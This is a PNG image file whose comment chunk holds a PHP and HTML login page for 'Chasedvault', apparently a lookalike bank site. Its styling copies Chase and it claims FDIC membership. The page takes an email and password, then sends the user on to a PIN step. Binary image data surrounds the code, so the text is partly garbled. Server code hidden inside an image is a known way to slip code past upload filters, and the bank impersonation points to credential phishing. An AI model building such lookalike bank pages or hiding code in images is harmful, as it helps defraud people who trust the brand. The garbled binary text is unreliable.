PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
require_once "config.php";
session_start();
$errors = [];
// initialize login attempt session tracking
if (!isset($_SESSION['login_attempts'])) $_SESSION['login_attempts'] = 0;
if (!isset($_SESSION['last_attempt_time'])) $_SESSION['last_attempt_time'] = 0;
$MAX_ATTEMPTS = 5;
$LOCKOUT_TIME = 300; // 5 minutes
// if locked out
if ($_SESSION['login_attempts'] >= $MAX_ATTEMPTS && (time() - $_SESSION['last_attempt_time']) < $LOCKOUT_TIME) {
$remaining = ceil(($LOCKOUT_TIME - (time() - $_SESSION['last_attempt_time'])) / 60);
$errors[] = "Too many failed login attempts. Please try again in $remaining minute(s).";
} elseif ($_SERVER["REQUEST_METHOD"] === "POST") {
$email = trim($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';
$bot_check = trim($_POST['website'] ?? ''); // honeypot
$form_time = (int)($_POST['form_time'] ?? 0);
$elapsed = time() - $form_time;
if ($bot_check !== '') {
$errors[] = "Bot activity detected.";
} elseif ($elapsed < 2) {
$errors[] = "Suspicious activity detected. Please slow down.";
} elseif (empty($email) || empty($password)) {
$errors[] = "Email and password are required.";
} else {
$stmt = $pdo->prepare("SELECT id, email, password_hash FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) {
$_SESSION['login_user'] = $user['id'];
$_SESSION['login_attempts'] = 0; // reset
header("Location: login_pin.php");
exit;
} else {
$_SESSION['login_attempts']++;
$_SESSION['last_attempt_time'] = time();
$errors[] = "Invalid email or password.";
}
}
}
?>
<?php
// --- START PHP LOGIC FOR ACTIVE HEADER STATE ---
// Get the current page filename (e.g., "index.php" or "signup_step1.php")
$current_page = basename($_SERVER['PHP_SELF']);
?>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Chasedvault — Secure Services | Chasedvault</title>
<meta name="description" content="Chasedvault — checking, savings, Secure mobile-first services for individuals and business." />
<meta name="keywords" content="Secure services, savings account, mortgages, Chasedvault" />
<meta name="author" content="Chasedvault" />
<meta property="og:title" content="Chasedvault — Secure Services | Chasedvault" />
<meta property="og:description" content="Secure solutions , savings." />
<meta property="og:type" content="website" />
<meta property="og:image" content="https://Chasedvault.com/cr.png" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="Chasedvault — Secure Services" />
<meta name="twitter:description" content="Secure mobile-first services for individuals and businesses. Member FDIC." />
<meta name="twitter:image" content="https://Chasedvault.com/cr.png" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/style.css">
<link rel="icon" type="image/x-icon" href="/favicon.ico">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&display=swap" rel="stylesheet">
</head>
<?php
// Get the current page filename (e.g., "index.php" or "signup_step1.php")
$current_page = basename($_SERVER['PHP_SELF']);
?>
<style>
/* --- CORE VARIABLES --- */
/* --- CORE VARIABLES --- */
:root {
--primary-blue: #117aca;
--text-dark: #212121;
--text-grey: #414141;
--bg-white: #ffffff;
--border-color: #e0e0e0;
}
/* --- GLOBAL/DESKTOP STYLES --- */
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Inter', sans-serif;
background-color: #fff;
color: var(--text-dark);
top: 0 !important;
}
.chase-header {
width: 100%; background: var(--bg-white); border-bottom: 1px solid var(--border-color);
position: relative; z-index: 1000;
}
.header-inner {
max-width: 1400px; margin: 0 auto; padding: 0 24px; position: relative;
}
.header-top-row {
display: flex; justify-content: space-between; align-items: center;
padding-top: 10px; font-size: 13px; height: 40px;
}
.segments { display: flex; gap: 20px; }
.segments a {
text-decoration: none; color: var(--text-grey); padding-bottom: 8px;
font-weight: 600; position: relative;
}
.segments a.active { color: var(--primary-blue); }
.segments a.active::after {
content: ''; position: absolute; bottom: 0; left: 0;
width: 100%; height: 3px; background-color: var(--primary-blue);
}
.utilities { display: flex; align-items: center; gap: 15px; }
.utilities a {
text-decoration: none; color: var(--text-grey); display: flex;
align-items: center; gap: 4px; cursor: pointer;
}
/* Google Translate Styling */
#google_translate_element { margin-right: 5px; }
.goog-te-gadget-simple { background-color: transparent !important; border: none !important; padding: 0 !important; font-size: 13px !important; }
.goog-te-gadget-simple span { color: var(--text-grey) !important; }
.goog-te-banner-frame { display: none !important; }
.search-trigger { cursor: pointer; color: var(--primary-blue); margin-left: 10px;}
/* Logo and Nav Rows */
.header-logo-row { padding: 15px 0; display: flex; align-items: center; justify-content: space-between; }
.custom-logo {
height: 50px; width: auto; object-fit: cover; display: block;
border-radius: 12px; box-shadow: 0 2px 5px rgba(0,0,0,0.05); /* Curved edge */
}
/* --- DESKTOP NAVIGATION (ROW 3) --- */
.header-nav-row { display: flex; gap: 30px; list-style: none; padding-bottom: 0; }
.nav-item { position: relative; padding-bottom: 0; }
.nav-link {
text-decoration: none; color: var(--text-grey); font-size: 16px; font-weight: 400;
display: flex; align-items: center; gap: 4px; cursor: pointer; padding-bottom: 12px;
position: relative;
}
.nav-link::after {
content: ''; position: absolute; bottom: 0; left: 0; width: 100%; height: 0px;
background-color: var(--primary-blue); transition: height 0.2s ease;
}
.nav-item:hover .nav-link { color: var(--primary-blue); }
.nav-item:hover .nav-link::after { height: 4px; } /* Thick blue underline on hover */
.nav-cta { color: var(--primary-blue) !important; font-weight: 700 !important; } /* CTA Highlight */
/* Desktop Dropdown Menu */
.dropdown-menu { display: none; position: absolute; top: 100%; left: 0; background-color: white; min-width: 220px; box-shadow: 0 8px 16px rgba(0,0,0,0.15); border: 1px solid #eee; border-radius: 4px; z-index: 2000; padding: 10px 0; list-style: none; }
.nav-item:hover .dropdown-menu { display: block; }
.dropdown-menu li a { display: block; padding: 10px 20px; text-decoration: none; color: #333; font-size: 14px; transition: background 0.2s; }
.dropdown-menu li a:hover { background-color: #f4f8fb; color: var(--primary-blue); }
/* --- MOBILE DRAWER STYLES --- */
.hamburger-btn { display: none; background: none; border: none; cursor: pointer; padding: 5px; color: var(--text-dark); }
.backdrop {
position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.4);
z-index: 9999; display: none;
}
.backdrop.active { display: block; }
.mobile-drawer {
position: fixed; top: 0; right: -100%; width: 85%; max-width: 400px; height: 100vh;
background: var(--bg-white); box-shadow: -4px 0 10px rgba(0,0,0,0.2); z-index: 10000;
transition: right 0.3s ease-out; display: flex; flex-direction: column; overflow-y: auto;
}
.mobile-drawer.open { right: 0; }
.drawer-header { padding: 20px 20px 10px 20px; display: flex; justify-content: space-between; align-items: center; }
.close-btn { background: none; border: none; font-size: 28px; font-weight: 100; cursor: pointer; padding: 5px; }
.search-bar-container { padding: 0 20px 20px 20px; }
.search-input-wrapper { display: flex; align-items: center; border: 1px solid var(--text-grey); border-radius: 6px; padding: 8px 10px; }
.search-input-wrapper input { flex-grow: 1; border: none; outline: none; padding-left: 10px; font-size: 16px; background: transparent; }
/* Mobile Menu List & Separators */
.mobile-links-list { list-style: none; padding: 0; flex-grow: 1; }
.mobile-links-list li { border-bottom: 1px solid var(--border-color); }
.mobile-links-list li:last-child { border-bottom: none; }
.mobile-links-list li a {
display: flex; justify-content: space-between; align-items: center;
text-decoration: none; color: var(--text-dark); padding: 15px 20px;
font-size: 16px; width: 100%;
}
/* Mobile Sub-menu Styling */
.sub-menu {
list-style: none; padding-left: 20px; display: none; background-color: #f8f8f8;
}
.sub-menu.open { display: block; }
.sub-menu li a { padding: 10px 20px 10px 10px; font-size: 14px; color: var(--text-grey); border-bottom: 1px solid #efefef; }
.sub-menu li:last-child a { border-bottom: none; }
/* Chevron Rotation (Mobile) */
.chevron-right {
color: var(--text-grey);
transition: transform 0.3s;
}
.chevron-right.rotated {
transform: rotate(90deg);
}
/* Footer */
.drawer-footer { padding: 10px 20px 30px 20px; }
.drawer-footer p { font-size: 14px; color: var(--text-grey); margin-bottom: 15px; font-weight: 600; }
.drawer-footer-line { border-top: 1px solid var(--border-color); margin-bottom: 15px; }
@media (max-width: 900px) {
.header-top-row, .header-nav-row { display: none; }
.hamburger-btn { display: block; }
}
/* --- CORE VARIABLES --- */
:root {
--primary-blue: #117aca;
--text-dark: #212121;
--text-grey: #414141;
--bg-white: #ffffff;
--border-color: #e0e0e0;
}
/* --- GLOBAL/DESKTOP STYLES --- */
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: 'Inter', sans-serif; background-color: #fff; color: var(--text-dark); top: 0 !important; }
.chase-header {
width: 100%; background: var(--bg-white); border-bottom: 1px solid var(--border-color);
position: relative; z-index: 1000;
}
.header-inner { max-width: 1400px; margin: 0 auto; padding: 0 24px; position: relative; }
/* ROW 1: TOP UTILITY BAR */
.header-top-row { display: flex; justify-content: space-between; align-items: center; padding-top: 10px; font-size: 13px; height: 40px; }
.segments { display: flex; gap: 20px; }
.segments a { text-decoration: none; color: var(--text-grey); padding-bottom: 8px; font-weight: 600; position: relative; }
.segments a.active { color: var(--primary-blue); }
.segments a.active::after { content: ''; position: absolute; bottom: 0; left: 0; width: 100%; height: 3px; background-color: var(--primary-blue); }
.utilities { display: flex; align-items: center; gap: 15px; }
.utilities a { text-decoration: none; color: var(--text-grey); display: flex; align-items: center; gap: 4px; cursor: pointer; }
#google_translate_element { margin-right: 5px; }
.goog-te-gadget-simple { background-color: transparent !important; border: none !important; padding: 0 !important; font-size: 13px !important; }
.goog-te-banner-frame { display: none !important; }
/* ROW 2: LOGO */
.header-logo-row { padding: 15px 0; display: flex; align-items: center; justify-content: space-between; }
.custom-logo { height: 50px; width: auto; object-fit: cover; display: block; border-radius: 12px; box-shadow: 0 2px 5px rgba(0,0,0,0.05); }
/* ROW 3: DESKTOP NAVIGATION */
.header-nav-row { display: flex; gap: 30px; list-style: none; padding-bottom: 0; }
.nav-item { position: relative; padding-bottom: 0; }
.nav-link {
text-decoration: none; color: var(--text-grey); font-size: 16px; font-weight: 400;
display: flex; align-items: center; gap: 4px; cursor: pointer; padding-bottom: 12px;
position: relative;
}
/* Default CTA Style (When NOT active, but still needs to look distinct) */
.nav-cta-default {
color: var(--primary-blue) !important;
font-weight: 400 !important;
}
/* Active Page Highlight (Bold Text) */
.nav-active {
color: var(--primary-blue) !important;
font-weight: 700 !important;
}
/* Thick blue underline on hover */
.nav-link::after {
content: ''; position: absolute; bottom: 0; left: 0; width: 100%; height: 0px;
background-color: var(--primary-blue); transition: height 0.2s ease;
}
/* Activate underline on hover OR if active */
.nav-item:hover .nav-link::after, .nav-active::after {
height: 4px;
}
.nav-item:hover .nav-link { color: var(--primary-blue); }
/* Desktop Dropdown Menu */
.dropdown-menu { display: none; position: absolute; top: 100%; left: 0; background-color: white; min-width: 220px; box-shadow: 0 8px 16px rgba(0,0,0,0.15); border: 1px solid #eee; border-radius: 4px; z-index: 2000; padding: 10px 0; list-style: none; }
.nav-item:hover .dropdown-menu { display: block; }
/* --- MOBILE DRAWER STYLES (Retained from previous steps) --- */
.hamburger-btn { display: none; background: none; border: none; cursor: pointer; padding: 5px; color: var(--text-dark); }
.backdrop { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.4); z-index: 9999; display: none; }
.backdrop.active { display: block; }
.mobile-drawer { position: fixed; top: 0; right: -100%; width: 85%; max-width: 400px; height: 100vh; background: var(--bg-white); box-shadow: -4px 0 10px rgba(0,0,0,0.2); z-index: 10000; transition: right 0.3s ease-out; display: flex; flex-direction: column; overflow-y: auto; }
.mobile-drawer.open { right: 0; }
.drawer-header { padding: 20px 20px 10px 20px; display: flex; justify-content: space-between; align-items: center; }
.close-btn { background: none; border: none; font-size: 28px; font-weight: 100; cursor: pointer; padding: 5px; }
.search-bar-container { padding: 0 20px 20px 20px; }
.search-input-wrapper { display: flex; align-items: center; border: 1px solid var(--text-grey); border-radius: 6px; padding: 8px 10px; }
.search-input-wrapper input { flex-grow: 1; border: none; outline: none; padding-left: 10px; font-size: 16px; background: transparent; }
.mobile-links-list { list-style: none; padding: 0; flex-grow: 1; }
.mobile-links-list li { border-bottom: 1px solid var(--border-color); }
.mobile-links-list li a { display: flex; justify-content: space-between; align-items: center; text-decoration: none; color: var(--text-dark); padding: 15px 20px; font-size: 16px; width: 100%; }
.sub-menu { list-style: none; padding-left: 20px; display: none; background-color: #f8f8f8; }
.sub-menu.open { display: block; }
.sub-menu li a { padding: 10px 20px 10px 10px; font-size: 14px; color: var(--text-grey); border-bottom: 1px solid #efefef; }
.chevron-right { color: var(--text-grey); transition: transform 0.3s; }
.chevron-right.rotated { transform: rotate(90deg); }
.drawer-footer { padding: 10px 20px 30px 20px; }
@media (max-width: 900px) {
.header-top-row, .header-nav-row { display: none; }
.hamburger-btn { display: block; }
}
</style>
<header class="chase-header">
<div class="header-inner">
<div class="header-top-row">
<?php
$current = basename($_SERVER['PHP_SELF']);
?>
<div class="segments">
<a href="index.php" class="<?php echo ($current == 'index.php') ? 'active' : ''; ?>">Personal</a>
<a href="business.php" class="<?php echo ($current == 'business.php') ? 'active' : ''; ?>">Business</a>
<a href="commercial.php" class="<?php echo ($current == 'commercial.php') ? 'active' : ''; ?>">Commercial</a>
</div>
<div class="utilities">
<div id="google_translate_element"></div>
<a href="contact.php">Contact Us</a>
<a href="mailto:support@Chasedvault.com">Support</a>
</div>
</div>
<div class="header-logo-row">
<a href="index.php">
<img src="img/logo.png" alt="Chasedvault Logo" class="custom-logo">
</a>
<button class="hamburger-btn" onclick="toggleMenu()">
<svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg>
</button>
</div>
<?php $current_page = basename($_SERVER['PHP_SELF']); ?>
<ul class="header-nav-row">
<!-- SECURITY -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'security.php') ? 'nav-active' : ''; ?>">
<a href="security.php" style="text-decoration:none; color:inherit;">Security</a>
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="fraud_protection.php">Fraud Protection</a></li>
<li><a href="privacy_policy.php">Privacy Policy</a></li>
<li><a href="security_center.php">Security Center</a></li>
</ul>
</li>
<!-- OPEN ACCOUNT -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'signup_step1.php') ? 'nav-active' : ''; ?>">
<a href="signup_step1.php" style="text-decoration:none; color:inherit;">Open account</a>
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="signup_step1.php">Personal Account</a></li>
<li><a href="business.php">Business Account</a></li>
</ul>
</li>
<!-- CHECKING -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'checking.php') ? 'nav-active' : ''; ?>">
Checking
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="total_checking.php">Total Checking</a></li>
<li><a href="student_checking.php">Student Checking</a></li>
</ul>
</li>
<!-- SAVINGS & CDs -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'savings.php') ? 'nav-active' : ''; ?>">
Savings & CDs
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="savings_accounts.php">Savings Accounts</a></li>
<li><a href="cd_rates.php">CD Rates</a></li>
</ul>
</li>
<!-- CREDIT CARDS -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'cards.php') ? 'nav-active' : ''; ?>">
Credit Cards
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="cashback_card.php">Cash Back Cards</a></li>
<li><a href="travel_cards.php">Travel Cards</a></li>
</ul>
</li>
<!-- HOME & AUTO -->
<li class="nav-item">
<span class="nav-link <?php echo ($current_page === 'homeauto.php') ? 'nav-active' : ''; ?>">
Home & Auto
<svg class="arrow-down" width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M6 9l6 6 6-6"/>
</svg>
</span>
<ul class="dropdown-menu">
<li><a href="mortgage.php">Mortgage</a></li>
<li><a href="auto_loan.php">Auto Loans</a></li>
</ul>
</li>
</ul>
</div>
</header>
<div class="backdrop" id="backdrop" onclick="toggleMenu()"></div>
<aside class="mobile-drawer" id="drawer">
<div class="drawer-header">
<span class="chase-logo-mobile">
<img src="img/logo.png" alt="Chasedvault Logo" style="height:30px; border-radius:6px;">
</span>
<button class="close-btn" onclick="toggleMenu()">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"></line><line x1="6" y1="6" x2="18" y2="18"></line></svg>
</button>
</div>
<div class="search-bar-container">
<div class="search-input-wrapper">
</div>
</div>
<ul class="mobile-links-list">
<li class="has-sub">
<a href="#security" onclick="toggleMobileSubMenu(event)">Security
<svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg>
</a>
<ul class="sub-menu" id="sub-menu-security">
<li><a href="fraud_protection.php">Fraud Protection</a></li>
<li><a href="privacy_policy.php">Privacy Policy</a></li>
</ul>
</li>
<li class="has-sub">
<a href="#open-account" onclick="toggleMobileSubMenu(event)">Open account
<svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg>
</a>
<ul class="sub-menu" id="sub-menu-open-account">
<li><a href="signup_step1.php">Personal Account</a></li>
<li><a href="#">Business Account</a></li>
</ul>
</li>
<li class="has-sub">
<a href="#checking" onclick="toggleMobileSubMenu(event)">Checking
<svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg>
</a>
<ul class="sub-menu" id="sub-menu-checking">
<li><a href="total_checking.php">Total Checking</a></li>
<li><a href="student_checking.php">Student Checking</a></li>
</ul>
</li>
<li class="has-sub">
<a href="#savings" onclick="toggleMobileSubMenu(event)">Savings
<svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg>
</a>
<ul class="sub-menu" id="sub-menu-savings">
<li><a href="savings_accounts.php">Savings Accounts</a></li>
<li><a href="cd_rates.php">CD Rates</a></li>
</ul>
</li>
<li><a href="about.php">About Us <svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg></a></li>
<li><a href="contact.php">Contact Us <svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg></a></li>
<li><a href="mailto:support@Chasedvault.com">Support <svg class="chevron-right" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"></polyline></svg></a></li>
</ul>
<div class="drawer-footer">
<p>Connect with us</p>
<div class="drawer-footer-line"></div>
</div>
</aside>
<script>
function googleTranslateElementInit() {
new google.translate.TranslateElement({
pageLanguage: 'en', includedLanguages: 'en,es,fr,de,it,zh-CN,ja,ar',
layout: google.translate.TranslateElement.InlineLayout.SIMPLE
}, 'google_translate_element');
}
function toggleMenu() {
const drawer = document.getElementById('drawer');
const backdrop = document.getElementById('backdrop');
if (drawer.classList.contains('open')) {
drawer.classList.remove('open');
backdrop.classList.remove('active');
} else {
drawer.classList.add('open');
backdrop.classList.add('active');
}
}
// Function to handle MOBILE sub-menu toggle (Accordion behavior)
function toggleMobileSubMenu(event) {
event.preventDefault();
const listItem = event.currentTarget.closest('li.has-sub');
if (!listItem) return;
const subMenu = listItem.querySelector('.sub-menu');
const chevron = listItem.querySelector('.chevron-right');
if (subMenu.classList.contains('open')) {
// Close the menu
subMenu.classList.remove('open');
chevron.classList.remove('rotated');
} else {
// Close all other sub-menus first (Accordion behavior)
document.querySelectorAll('.sub-menu.open').forEach(menu => menu.classList.remove('open'));
document.querySelectorAll('.chevron-right.rotated').forEach(chev => chev.classList.remove('rotated'));
// Open the target menu
subMenu.classList.add('open');
chevron.classList.add('rotated');
}
}
</script>
<script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E